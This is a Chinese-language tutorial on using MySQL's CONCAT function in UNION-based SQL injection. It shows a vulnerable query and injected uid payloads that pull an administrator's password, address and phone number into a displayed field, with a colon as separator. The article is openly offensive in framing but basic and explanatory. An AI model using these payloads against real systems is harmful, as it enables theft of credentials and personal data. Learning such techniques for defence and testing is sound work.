Mysql数据库使用concat函数执行SQL注入查询
网络编程 2021-07-05 15:27www.168986.cn编程入门
这篇文章主要介绍了Mysql数据库使用concat函数执行SQL注入查询,concat函数在SQL注入查询中会有意想不到的作用,本文就起讲解它的使用,需要的朋友可以参考下
SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示出来。
例如原本查询语句是
代码如下:
select username,email,content from test_table where user_id=uid;
其中uid,是用户输入的。正常显示结果会出现用户名,用户邮箱,用户留言内容。如果uid过滤不严,我们可以构造如下SQL语句来获得任意数据表信息。
代码如下:
uid=-1 union select username ,password,content from test_talbe where user_id=管理员id;
实际执行就是
代码如下:
select username,email,content from test_table where user_id=-1 union select username ,password,content from test_talbe where user_id=管理员id;
其中显示正常用户emai的地方,变成了显示管理员的密码了。
,往往事情并不是这么简单,要找到漏洞,构造这种语句时候要考虑各个字段的类型,让int或samllint类型的字段显示varchar显然不合适。就是本文要说的。
如果出现问题的SQL语句只有一个或两个字段怎么办,我们想知道很多东西,一两个字段太少了,远远不能满足我们的需要。那么我们可以使用concat函数。
concat函数本来是这样用的SELECT CONCAT('My', 'S', 'QL');执行结果是'MySQL'。也就是连接作用的。我们利用它来为我们服务,
代码如下:
uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理员id;
这个语句实际查询了六个字段,显示的时候,把password,sex,address,telephone等字段合在一起,显示在原本应该显示email的地方。
更好的方法中间用分隔符分开
代码如下:
uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理员id;
其中0×3a是“:”的十六进 制形式。
编程语言
- 如何快速学会编程 如何快速学会ug编程
- 免费学编程的app 推荐12个免费学编程的好网站
- 电脑怎么编程:电脑怎么编程网咯游戏菜单图标
- 如何写代码新手教学 如何写代码新手教学手机
- 基础编程入门教程视频 基础编程入门教程视频华
- 编程演示:编程演示浦丰投针过程
- 乐高编程加盟 乐高积木编程加盟
- 跟我学plc编程 plc编程自学入门视频教程
- ug编程成航林总 ug编程实战视频
- 孩子学编程的好处和坏处
- 初学者学编程该从哪里开始 新手学编程从哪里入
- 慢走丝编程 慢走丝编程难学吗
- 国内十强少儿编程机构 中国少儿编程机构十强有
- 成人计算机速成培训班 成人计算机速成培训班办
- 孩子学编程网上课程哪家好 儿童学编程比较好的
- 代码编程教学入门软件 代码编程教程